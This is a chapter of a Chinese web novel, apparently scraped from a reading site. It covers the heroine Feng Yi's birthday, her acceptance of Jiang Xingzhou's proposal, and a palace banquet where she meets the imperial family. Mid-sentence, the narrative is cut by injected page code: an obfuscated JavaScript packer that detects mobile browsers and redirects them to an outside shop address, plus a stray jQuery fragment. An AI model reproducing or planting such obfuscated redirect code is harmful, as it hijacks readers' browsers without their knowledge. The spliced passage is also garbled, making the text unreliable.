29. 生辰

作品:《疯批男二拯救计划

    各家的贺礼尤如雪花一般飞进风意不算大的库房,堆得满满当当。好在时语和言怀能干,虽有些手忙脚乱,却也打理得井井有条。


    顾忌着太子和聂家,风意与蒋行舟商议后,并未举办敕封宴,待万寿节后再行宴请。


    可永康帝却借着风意生辰的名头,在宫中设了一场家宴,一为将她正式引见给皇室宗亲,二也借此冲淡月余来京城上空的压抑阴云。


    五月二十二,原身绵绵的生辰,巧的是这日也是风意农历生日。


    一早,估摸着蒋行舟已去上朝,大秦氏便亲自端着一碗热气腾腾的长寿面来到蔷薇阁。


    “意意,生辰吉乐!”人未至,声先闻,热情得仿佛她们一直是亲密无间的姨甥,“快来,尝尝长寿面。这日子,可不能马虎。”


    “劳姨母挂心。”风意先是舀了一勺清亮的面汤,浅浅尝了,抬眸赞道,“好鲜。”


    “郡主有所不知,”一旁侍立的孙嬷嬷适时接话,“这汤是我们老夫人亲手煲的,用的是养了五六年的老母鸡,从昨夜就在小灶上细细煨着了,自是鲜美无比。”


    大秦氏等她说完才责怪道:“你个老货,和意意说这个做什么?眼下四妹不在京中,我这做姨母的,多尽份心不是应当的么?”


    风意面上露出感动之色:“姨母......”


    自她被册封为郡主的旨意下达,大秦氏待她便愈发亲热周到。起初还假意推拒着唤“郡主”,在风意再三坚持下,又改成小名。


    因为不确定风意晚间是否会留宿宫中,蒋行舟这日下了朝便径直回府。


    踏入蔷薇阁时,大秦氏尚在,正与风意细说皇室各支系的亲疏远近。这些蒋行舟比她说得更详细,但风意承她的情,便也安静听着,偶尔颔首应和。


    “母亲也在。”蒋行舟打断二人的谈话。


    “侯爷回来了。”大秦氏识趣起身,“我那还有些事情,先回去了,你们聊着。”


    待大秦氏离开,风意抬头笑道:“今日怎么回来这般早?”


    “你生辰,我自然要做那个陪你最久之人。”蒋行舟大步走近,将手中一只硕大的螺钿紫檀木盒置于桌上,“打开看看。”


    风意依言拨开鎏金扣锁,掀开盒盖的瞬间,几乎逸出的华光晃了眼。


    盒子共六层,每一层都放着一套完整的头面。钗环簪珥,步摇华盛,设计各异,无一重样。或以赤金为骨,镶嵌宝石碧玺,璀璨夺目;或以极品玉石为主,精雕细琢,清雅不俗......每一套,皆华美却不累赘,雅致却不简单。每一套都是为她量身打造,与她适配至极。


    “你什么时候准备的?”风意惊喜道,这些绝非市面上能随意采买的寻常之物。


    “回京次日。”蒋行舟至身后将她拥入怀中,下颌轻蹭她发顶,“喜欢?”


    “喜欢。”她诚实地点头,极少有女子不爱珠宝,她风意是俗人。


    蒋行舟满足轻笑,盘算着待库房的珠宝玉石用完,还需再寻些来才好。


    午后,风意沐浴梳妆。时雨为她挽好繁复的宫髻后,蒋行舟接过螺子黛,为她细细描眉发髻后。随后选了一套与她胭脂雪色宫装相配的珍珠钗环,为她簪戴。


    风意透过打磨得光亮的铜镜,望着身后男人低垂的眉眼,那专注的神情,温柔的动作,让她恍惚间生出一种错觉,仿佛他们是这世间一对寻常的恩爱夫妻。


    若是......若是没有以往种种,他们大概真的会岁月静好,幸福一生吧。


    蒋行舟抬眸,恰好对上镜中她满含深意的目光。那双眸里,有爱意,有怀念,还有有感伤。


    “为什么这样看我?”他将一只扇形小步摇轻柔插.入她的发间。


    “喜欢看你呀。”风意绽开灿烂笑容。他这张脸,不知还能看多久?


    “那便慢慢看。”蒋行舟俯身,脸颊贴近她的,透过铜镜,与她对视,“不急,一辈子很长,我们有的是时间。”


    镜子的两人,男人俊美无俦,女子娇美无双,彼此的目光都满含情愫,宛如神仙眷侣。


    “意意,万寿节我去请一道赐婚圣旨,你嫁给我吧?”蒋行舟柔声道,眼里含着一丝不易察觉的期待。


    这是他第一次征询她的意见,不是强势的“我娶你”,而是求她嫁给自己。


    风意心尖猛地一颤,愣了一瞬。而后听见自己轻声应道:“好。”


    这一刻,她不思过往,不想未来,仅尊最纯粹的本心。


    蒋行舟呼吸骤然一窒。暖流霎时如洪水般涌上心间,盛得太满,逸了出来,弥漫在这方小小的天地。


    他嘴角从抿着扬起,到抑制不住地咧开,带着一丝傻气。那双向来深沉的风眸,甚至闪过一点晶莹。


    “意意。”他双手怀在她肩上,俯身将脸埋进她颈窝,贪恋地呼吸着她身上的清甜。


    “嗯?”


    “我会给你一个盛大的婚礼,让你做最美的新嫁娘,我会对你好的,我保证。”探花郎倏然词穷,只笨拙地发誓。


    “我信。”


    风意偏过身子,勾着他的颈项,将他拉下,柔软的唇瓣贴了上去。绵长而温柔的一吻结束,风意刚抹的口脂被他吃了个干净。


    蒋行舟气息微乱,指腹抚上她的唇,眸光危险又克制:“意意,别勾我,我经不住你一丝一毫诱惑。”


    亲自将风意送至宫门口,蒋行舟轻声嘱咐:“今日回不回家都遣人与我说一声,我好来接你。”


    “嗯。”


    看出她的不安,将她手握在掌心,低声安抚:“别紧张,没人敢为难你。”


    或许是他掌心的温度太温暖,风意独自面对风浪的那丝忐忑被抚平。眨眨眼,梨涡漾起一丝狡黠,“这次怎么不说,‘谁敢为难你,直接打上去,万事我兜着’了?”


    因为他自信,无人会想与他结仇。


    “你若打上去,我大概只能造反兜着了。”蒋行舟亦玩笑道。


    转念又想到宫里未必都是聪明人,又道:“若真有人为难你,先忍者。宝贝,不是要你窝囊,是要先保全自己。然后等我给你报仇。”


    “乖,咱们不争那一时意气,你要相信,谁敢动你一下,我能刮了他,不管是谁。”他勾起一丝满不在乎的笑,“大不了,真造反。”


    风意轻吸一口气,压下汹涌的心潮。点着他的胸膛,嗔道:“那你该先给自己两刀,你把我欺负惨了。”


    目送她进了宫,蒋行舟准备调转回府。


    “蒋侯,留步。”宫道旁,周太医匆匆而来。


    夜幕初合,华灯初上。这场皇室家宴在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045712|192102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    华清殿举行。


    当风意扶着德妃踏入大殿时,满殿有一瞬凝滞的寂静。德妃已二十年未曾现身于人前,此刻虽眼神仍有些空茫,举止却不再疯癫,这惊人的转变,让所有目光不由自主地聚焦在她身侧那位新封的郡主身上。


    风意这认亲由永康帝主持开场,然后是胡一喜带着认人。


    三十多年前的夺嫡太过惨烈,如今留在京中的宗亲不多,除了皇帝一脉,便只余福王一支,称得得上是简单。


    御座之侧是聂皇后,酱紫宫装,威仪天成。


    下首是宸贵妃,年过四十依旧艳光慑人。


    往后是淑妃,优雅中带着书香气。


    一众嫔妃对风意都还和气,笑意盈盈,厚礼相赠。梦嫔更是热情得让她微惊,只见她眼含感激,一副解救她于水火的模样。


    太子萧承耀也到了。月余治疗,他已能乘坐轮椅出行。眉眼间沉积着化不开的阴鸷,在风意行礼时,他本能地想无视,抬眼却见坐在皇后身边的萧祁垣。


    如今他已废,若是再与蒋行舟结仇,导致垣儿不能登位,那他及他的孩子们,便真只有黄泉相聚这一条路了。毕竟,没有那位帝王会允许前储君及其子嗣的存在。


    挤出一个难看的笑意,对风意温和叫起,并送上厚礼。


    三皇子萧承烁瞧着与传言一般,沉稳持重,礼贤下士。


    八皇子萧承烨长了张娃娃脸,未语先笑,瞧着可亲。不知为何,风意总觉得他的眉眼很熟悉,好似在哪儿见过?


    九皇子萧承炫长相随了宸贵妃,男生女相,风流不羁。


    十二皇子,瑞王萧承煜,出尘俊逸。


    十公主萧颜真,封号寿康,容貌迤逦,温婉动人。


    风意暗忖,这皇室出品,真真都是精品,别说丑,连一般的都没有。


    她在打量他们,他们亦在审视她。


    “姐姐生得可真美,我都嫉妒蒋侯了。”坐在她身侧的萧颜真侧过身,语笑嫣然。


    “殿下说笑了,您方是真国色。”风意礼数周全,并未顺竿往上攀亲。


    “姐姐这口脂可伊人阁新出的颜色?好称气色。”女人的话题大多从胭脂水粉开始。


    风意浅浅一笑:“不是,是原先的落霞和桃夭二色调和而成。”


    “还能这般调色,姐姐巧思。”


    风意脸微烫,这还真不是她的巧思,是蒋行舟给她调的色。


    话题就此打开,两人言笑晏晏,很快便熟稔几分。


    “听闻姐姐开了个书局,不知我能否去开开眼界?”萧颜真面露羡慕。


    风意心下警铃大作,如今的书局什么也没有,她要去看什么呢?


    当即道:“自是欢迎,只是如今书局尚在筹备,乱糟糟的。正式开业时,定当恭请殿下莅临指点。”


    酒过三巡,气氛逐渐热络,席间推杯换盏,好不热闹。


    风意最为今日的主角之一,自是饮下了不少。好在提前服用了解酒的药丸,又有德妃适时捣乱,和月明的帮腔阻拦,她虽面染霞色,其实只有二分醉意。


    夜已深,席至尾声,永康帝正要开口将风意留下陪德妃。却见胡一喜匆匆进殿,俯身在他耳边耳语一句。


    永康帝惊道:“他还在?”


    “还在!”